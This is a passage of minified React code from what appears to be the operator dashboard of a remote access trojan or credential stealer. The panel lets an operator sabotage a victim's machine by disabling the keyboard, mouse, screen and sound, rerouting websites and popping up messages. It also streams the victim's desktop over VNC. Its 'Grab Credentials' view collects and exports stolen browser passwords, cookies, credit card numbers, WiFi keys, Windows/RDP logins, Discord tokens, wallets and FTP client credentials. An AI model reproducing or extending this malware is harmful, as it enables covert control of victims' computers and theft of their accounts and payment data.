drive",color:"#ec4899",onClick:()=>ie("troll_cd_tray")})]}),s.jsxs("div",{className:"border-t border-[#1a1a20] px-3 py-3",children:[s.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase block mb-2.5",children:"Toggles"}),s.jsxs("div",{className:"flex flex-col gap-2",children:[s.jsx(Pi,{label:"Taskbar",active:c,color:"#06b6d4",onToggle:ve}),s.jsx(Pi,{label:"Swap Mouse",active:U,color:"#f59e0b",onToggle:()=>we(U,D,"troll_swapmouse"),invert:!0}),s.jsx(Pi,{label:"Sound",active:!M,color:"#8b5cf6",onToggle:()=>we(M,F,"troll_disablesound")}),s.jsx(Pi,{label:"Screen",active:!R,color:"#ef4444",onToggle:()=>we(R,W,"troll_blackscreen")}),s.jsx(Pi,{label:"Keyboard",active:!$,color:"#10b981",onToggle:()=>we($,H,"troll_disablekeyboard")}),s.jsx(Pi,{label:"Mouse",active:!X,color:"#ec4899",onToggle:()=>we(X,se,"troll_disablemouse")}),s.jsx(Pi,{label:"Internet",active:!ue,color:"#06b6d4",onToggle:()=>we(ue,ge,"troll_reroutesites")})]})]})]}),s.jsxs("div",{className:"flex-1 flex items-center justify-center relative overflow-hidden",style:{background:"#08080a"},children:[s.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03] z-10",style:{backgroundImage:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.03) 4px)"}}),ee&&r?s.jsx("canvas",{ref:t,className:"max-w-full max-h-full",style:{cursor:"default",aspectRatio:o.w>0?`${o.w}/${o.h}`:void 0,filter:"brightness(0.95)"}}):ne?s.jsxs("div",{className:"flex flex-col items-center gap-5",children:[s.jsxs("div",{className:"relative",children:[s.jsx("div",{className:"w-16 h-16 rounded-full border-2 animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.1)",borderTopColor:"rgba(6, 182, 212, 0.6)"}}),s.jsx("div",{className:"absolute inset-0 flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-accent/40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})})]}),s.jsxs("div",{className:"text-center",children:[s.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:ee?"Waiting for frame...":"Connecting to desktop..."}),s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted",children:"View-only stream for live trolling"})]})]}):s.jsxs("div",{className:"flex flex-col items-center gap-5",children:[s.jsx("div",{className:"w-16 h-16 flex items-center justify-center",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:s.jsx("svg",{className:"w-7 h-7 text-zerin-accent/60",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),s.jsxs("div",{className:"text-center",children:[s.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:"Connect to live desktop view?"}),s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted mb-4",children:"This will start a VNC session to stream the agent's screen"}),s.jsx("button",{onClick:()=>B(!0),className:"px-4 py-2 text-xs font-semibold text-white transition-all",style:{background:"#06b6d4",boxShadow:"0 0 12px rgba(6,182,212,0.3)"},children:"Connect VNC"})]})]}),d&&s.jsx("div",{className:"absolute bottom-4 left-1/2 -translate-x-1/2 z-20 px-4 py-2 font-mono text-xs animate-fade-in",style:{background:"#111115",border:`1px solid ${d.type==="err"?"rgba(239,68,68,0.3)":"rgba(6,182,212,0.25)"}`,color:d.type==="err"?"#ef4444":"#06b6d4"},children:d.text})]})]}),m&&s.jsxs(Gl,{title:"Message Box",color:"#f59e0b",onClose:()=>h(!1),children:[s.jsxs("div",{className:"space-y-3",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TITLE"}),s.jsx("input",{type:"text",value:x,onChange:te=>g(te.target.value),placeholder:"Window title...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#f59e0b]/30 transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"MESSAGE"}),s.jsx("textarea",{value:y,onChange:te=>v(te.target.value),placeholder:"Enter message...",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#f59e0b]/30 transition-colors`,autoFocus:!0})]})]}),s.jsx(Xl,{onCancel:()=>h(!1),onSend:_e,color:"#f59e0b",disabled:!y.trim()})]}),b&&s.jsxs(Gl,{title:"Text to Speech",color:"#8b5cf6",onClose:()=>w(!1),children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TEXT"}),s.jsx("textarea",{value:j,onChange:te=>k(te.target.value),placeholder:"What should they hear?",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#8b5cf6]/30 transition-colors`,autoFocus:!0})]}),s.jsx(Xl,{onCancel:()=>w(!1),onSend:L,color:"#8b5cf6",disabled:!j.trim()})]}),S&&s.jsxs(Gl,{title:"Open Website",color:"#06b6d4",onClose:()=>N(!1),children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"URL"}),s.jsx("input",{type:"text",value:z,onChange:te=>_(te.target.value),placeholder:"https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-zerin-accent/30 transition-colors`,autoFocus:!0})]}),s.jsx(Xl,{onCancel:()=>N(!1),onSend:de,color:"#06b6d4",disabled:!z.trim()||z==="https://"})]}),A&&s.jsxs(Gl,{title:"Change Wallpaper",color:"#10b981",onClose:()=>O(!1),children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"IMAGE PATH OR URL"}),s.jsx("input",{type:"text",value:P,onChange:te=>I(te.target.value),placeholder:"C:\\path\\to\\image.jpg or https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#10b981]/30 transition-colors`,autoFocus:!0})]}),s.jsx(Xl,{onCancel:()=>O(!1),onSend:q,color:"#10b981",disabled:!P.trim()})]})]})}function $s({icon:e,label:t,desc:n,color:r,onClick:i}){return s.jsxs("button",{onClick:i,className:"group flex items-center gap-3 px-3 py-2.5 text-left transition-all duration-150 hover:translate-x-0.5",style:{background:"transparent"},onMouseEnter:a=>{a.currentTarget.style.background=`${r}08`,a.currentTarget.style.borderLeft=`2px solid ${r}40`,a.currentTarget.style.paddingLeft="10px"},onMouseLeave:a=>{a.currentTarget.style.background="transparent",a.currentTarget.style.borderLeft="none",a.currentTarget.style.paddingLeft="12px"},children:[s.jsx("div",{className:"w-8 h-8 flex items-center justify-center shrink-0 transition-colors",style:{background:`${r}10`,border:`1px solid ${r}20`},children:s.jsx("div",{style:{color:`${r}cc`},children:e})}),s.jsxs("div",{className:"min-w-0",children:[s.jsx("div",{className:"text-[12px] font-medium text-zerin-text-dim group-hover:text-zerin-text transition-colors leading-tight",children:t}),s.jsx("div",{className:"text-[10px] text-zerin-text-muted/50 leading-tight mt-0.5",children:n})]})]})}function Gl({title:e,color:t,onClose:n,children:r}){return s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/70",onClick:n,children:s.jsxs("div",{className:"w-full max-w-sm mx-4 animate-scale-in",style:{background:"#111115",border:`1px solid ${t}25`,boxShadow:`0 0 40px ${t}08`},onClick:i=>i.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b",style:{borderColor:`${t}15`},children:[s.jsx("div",{className:"w-2 h-2 rounded-full",style:{background:t,boxShadow:`0 0 8px ${t}60`}}),s.jsx("span",{className:"font-display text-sm font-semibold",style:{color:t},children:e})]}),s.jsx("div",{className:"p-4 space-y-4",children:r})]})})}function Xl({onCancel:e,onSend:t,color:n,disabled:r}){return s.jsxs("div",{className:"flex items-center justify-end gap-2 pt-1",children:[s.jsx("button",{onClick:e,className:`px-3 py-1.5 text-xs font-medium text-zerin-text-muted\r + hover:text-zerin-text-dim bg-[#18181c] hover:bg-[#1f1f25] transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:t,disabled:r,className:`px-4 py-1.5 text-xs font-semibold text-white transition-all\r + disabled:opacity-30 disabled:cursor-not-allowed`,style:{background:r?"#333":n,boxShadow:r?"none":`0 0 12px ${n}40`},children:"Send"})]})}function Pi({label:e,active:t,color:n,onToggle:r,invert:i}){const a=t;return s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("span",{className:"text-[11px] text-zerin-text-dim font-medium",children:e}),s.jsx("button",{onClick:r,className:"relative w-9 h-[20px] rounded-full transition-colors duration-200 focus:outline-none",style:{background:a?`${n}30`:"rgba(239, 68, 68, 0.2)",border:`1px solid ${a?`${n}40`:"rgba(239, 68, 68, 0.3)"}`},children:s.jsx("div",{className:"absolute top-[2px] w-3.5 h-3.5 rounded-full transition-all duration-200",style:{left:a?"18px":"2px",background:a?n:"#ef4444",boxShadow:`0 0 6px ${a?`${n}50`:"rgba(239,68,68,0.4)"}`}})})]})}function BU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 10h.01M12 10h.01M16 10h.01M9 16H5a2 2 0 01-2-2V6a2 2 0 012-2h14a2 2 0 012 2v8a2 2 0 01-2 2h-5l-5 5v-5z"})})}function FU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})})}function WU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9.004 9.004 0 008.716-6.747M12 21a9.004 9.004 0 01-8.716-6.747M12 21c2.485 0 4.5-4.03 4.5-9S14.485 3 12 3m0 18c-2.485 0-4.5-4.03-4.5-9S9.515 3 12 3m0 0a8.997 8.997 0 017.843 4.582M12 3a8.997 8.997 0 00-7.843 4.582m15.686 0A11.953 11.953 0 0112 10.5c-2.998 0-5.74-1.1-7.843-2.918m15.686 0A8.959 8.959 0 0121 12c0 .778-.099 1.533-.284 2.253m0 0A17.919 17.919 0 0112 16.5c-3.162 0-6.133-.815-8.716-2.247m0 0A9.015 9.015 0 013 12c0-1.605.42-3.113 1.157-4.418"})})}function UU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909m-18 3.75h16.5a1.5 1.5 0 001.5-1.5V6a1.5 1.5 0 00-1.5-1.5H3.75A1.5 1.5 0 002.25 6v12a1.5 1.5 0 001.5 1.5zm10.5-11.25h.008v.008h-.008V8.25zm.375 0a.375.375 0 11-.75 0 .375.375 0 01.75 0z"})})}function VU(){return s.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:[s.jsx("circle",{cx:"12",cy:"12",r:"9"}),s.jsx("circle",{cx:"12",cy:"12",r:"3"})]})}function HU({agentId:e,agentStatus:t,autoGrab:n,onAutoGrabConsumed:r}){var S,N,z,_,A,O,P,I,U,D,M,F,R,W,$,H,X,se,ue,ge,xe,Y,ee,C,K,ne,B,ie,ve,we,_e,L,de,q,te,me,V,Z,fe,E,oe,J,pe,be,ke;const[i,a]=p.useState(null),[o,l]=p.useState(!1),[c,u]=p.useState(""),[d,f]=p.useState(new Set),m=t==="dead",h=p.useRef(null);p.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=p.useRef(!1);p.useEffect(()=>{n&&!x.current&&!m&&(x.current=!0,y(),r==null||r())},[n]);const g=G=>{f(re=>{const ae=new Set(re);return ae.has(G)?ae.delete(G):ae.add(G),ae})},y=p.useCallback(async()=>{if(!m){l(!0),u(""),a(null),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:G}=await Ee(e,{command:"creds"});let re=0;h.current=setInterval(async()=>{var ae,Oe,lt,We,pn,Zt,pl,qn,Yn,mv,hv,xv,vv;re++;try{const bs=(ae=(await Un(e)).results)==null?void 0:ae.find(Tt=>Tt.task_id===G);if(bs){if(h.current&&clearInterval(h.current),h.current=null,l(!1),bs.error){u(bs.error);return}if(bs.output)try{const Tt=JSON.parse(bs.output);a(Tt);const Gn=new Set;(Oe=Tt.chrome_passwords)!=null&&Oe.length&&Gn.add("chrome_passwords"),(lt=Tt.firefox_passwords)!=null&<.length&&Gn.add("firefox_passwords"),(We=Tt.wifi)!=null&&We.length&&Gn.add("wifi"),(pn=Tt.windows_credentials)!=null&&pn.length&&Gn.add("windows_credentials"),(Zt=Tt.discord_tokens)!=null&&Zt.length&&Gn.add("discord_tokens"),(pl=Tt.wallets)!=null&&pl.length&&Gn.add("wallets"),(qn=Tt.vpn)!=null&&qn.length&&Gn.add("vpn"),((Yn=Tt.steam)!=null&&Yn.found||(mv=Tt.epic)!=null&&mv.found||(hv=Tt.minecraft)!=null&&hv.length||(xv=Tt.roblox)!=null&&xv.found)&&Gn.add("gaming"),(vv=Tt.errors)!=null&&vv.length&&Gn.add("errors"),f(Gn)}catch{u("Failed to parse credential data")}}else re>=60&&(h.current&&clearInterval(h.current),h.current=null,l(!1),u("Timed out waiting for results"))}catch{}},3e3)}catch(G){l(!1),u(G instanceof Error?G.message:"Failed to submit task")}}},[e,m]),[v,b]=p.useState(null),w=(G,re)=>{navigator.clipboard.writeText(G).then(()=>{const ae=re?re.clientX:window.innerWidth/2,Oe=re?re.clientY-30:window.innerHeight/2;b({text:"Copied!",x:ae,y:Oe}),setTimeout(()=>b(null),1200)}).catch(()=>{})},j=(G,re)=>{try{const ae=atob(G),Oe=new Uint8Array(ae.length);for(let Zt=0;Zt{if(!i)return;const G=new Blob([JSON.stringify(i,null,2)],{type:"application/json"}),re=URL.createObjectURL(G),ae=document.createElement("a");ae.href=re,ae.download=`credentials_${e.slice(0,8)}.json`,ae.click(),URL.revokeObjectURL(re)};return s.jsxs("div",{className:"p-6 animate-fade-in space-y-4",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("button",{onClick:y,disabled:o||m,className:`inline-flex items-center gap-2 text-sm font-medium\r + bg-zerin-accent hover:bg-zerin-accent-hover text-white\r + px-4 py-2 transition-colors\r + disabled:opacity-30 disabled:cursor-not-allowed`,children:o?s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}),"Grabbing..."]}):s.jsxs(s.Fragment,{children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),"Grab Credentials"]})}),i&&s.jsxs("button",{onClick:k,className:`inline-flex items-center gap-1.5 text-sm font-medium\r + text-zerin-text-dim hover:text-zerin-text\r + bg-zerin-panel hover:bg-zerin-panel-hover\r + border border-zerin-panel-border\r + px-3 py-2 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"Export JSON"]}),m&&s.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),c&&s.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/20 px-4 py-3 text-sm text-zerin-danger",children:c}),i&&s.jsxs("div",{className:"space-y-2",children:[s.jsx(On,{title:"Browser Passwords",count:(((S=i.chrome_passwords)==null?void 0:S.length)??0)+(((N=i.firefox_passwords)==null?void 0:N.length)??0),expanded:d.has("chrome_passwords")||d.has("firefox_passwords"),onToggle:()=>{g("chrome_passwords"),g("firefox_passwords")},children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].length===0?s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No passwords found"}):s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"URL"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.browser??"Firefox"}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:G.url}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.username,ae),children:G.username}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.password,ae),children:G.password?"••••••••":""})]},re))})]})}),s.jsx(On,{title:"Browser Cookies",count:((z=i.chrome_cookies)==null?void 0:z.length)??0,expanded:d.has("chrome_cookies"),onToggle:()=>g("chrome_cookies"),children:(_=i.chrome_cookies)!=null&&_.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Host"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Value"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cookies.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.browser}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:G.host}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:G.name}),s.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.value,ae),children:[G.value.slice(0,40),"..."]})]},re))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No cookies found"})}),s.jsx(On,{title:"Credit Cards",count:((A=i.chrome_cards)==null?void 0:A.length)??0,expanded:d.has("chrome_cards"),onToggle:()=>g("chrome_cards"),children:(O=i.chrome_cards)!=null&&O.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Number"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Exp"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cards.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.browser}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text",children:G.name}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.number,ae),children:G.number}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.exp})]},re))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No credit cards found"})}),s.jsx(On,{title:"WiFi Passwords",count:((P=i.wifi)==null?void 0:P.length)??0,expanded:d.has("wifi"),onToggle:()=>g("wifi"),children:(I=i.wifi)!=null&&I.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"SSID"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Auth"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.wifi.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-medium",children:G.ssid}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.auth}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.password,ae),children:G.password||"(none)"})]},re))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No WiFi passwords found"})}),s.jsx(On,{title:"Windows Credentials",count:((U=i.windows_credentials)==null?void 0:U.length)??0,expanded:d.has("windows_credentials"),onToggle:()=>g("windows_credentials"),children:(D=i.windows_credentials)!=null&&D.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Target"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.windows_credentials.map((G,re)=>s.jsxs("tr",{className:`hover:bg-zerin-panel-hover ${G.is_rdp?"bg-zerin-accent-muted/30":""}`,children:[s.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:[G.is_rdp&&s.jsx("span",{className:"text-zerin-accent font-medium mr-1",children:"[RDP]"}),G.target]}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.username,ae),children:G.username}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.password,ae),children:G.password?"••••••••":""}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.type})]},re))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Windows credentials found"})}),s.jsx(On,{title:"Discord Tokens",count:((M=i.discord_tokens)==null?void 0:M.length)??0,expanded:d.has("discord_tokens"),onToggle:()=>g("discord_tokens"),children:(F=i.discord_tokens)!=null&&F.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Source"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Token"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.discord_tokens.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.source}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.type}),s.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-[300px] truncate",onClick:ae=>w(G.token,ae),children:[G.token.slice(0,20),"..."]})]},re))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Discord tokens found"})}),s.jsx(On,{title:"Applications",count:((R=i.telegram)!=null&&R.found?1:0)+(((W=i.filezilla)==null?void 0:W.length)??0)+((($=i.winscp)==null?void 0:$.length)??0)+(((H=i.putty)==null?void 0:H.length)??0)+(((X=i.outlook)==null?void 0:X.length)??0),expanded:d.has("apps"),onToggle:()=>g("apps"),children:s.jsxs("div",{className:"space-y-3 p-4",children:[i.telegram&&s.jsxs("div",{children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Telegram"}),i.telegram.found?s.jsxs("div",{children:[s.jsxs("p",{className:"text-xs text-zerin-text font-mono mb-1",children:["Found at: ",s.jsx("span",{className:"text-zerin-accent cursor-pointer",onClick:G=>w(i.telegram.path,G),children:i.telegram.path})]}),(((se=i.telegram.files)==null?void 0:se.length)??0)>0&&s.jsx("div",{className:"flex flex-wrap gap-1.5 mt-1",children:i.telegram.files.map((G,re)=>s.jsxs("button",{onClick:()=>j(G.data,G.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),G.name]},re))})]}):s.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Not installed"})]}),(((ue=i.filezilla)==null?void 0:ue.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["FileZilla (",i.filezilla.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.filezilla.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[G.host,":",G.port]}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:G.user}),s.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.password,ae),children:G.password?"••••••••":""})]},re))})})]}),(((ge=i.winscp)==null?void 0:ge.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["WinSCP (",i.winscp.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.winscp.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:G.host}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:G.user}),s.jsx("td",{className:"py-1 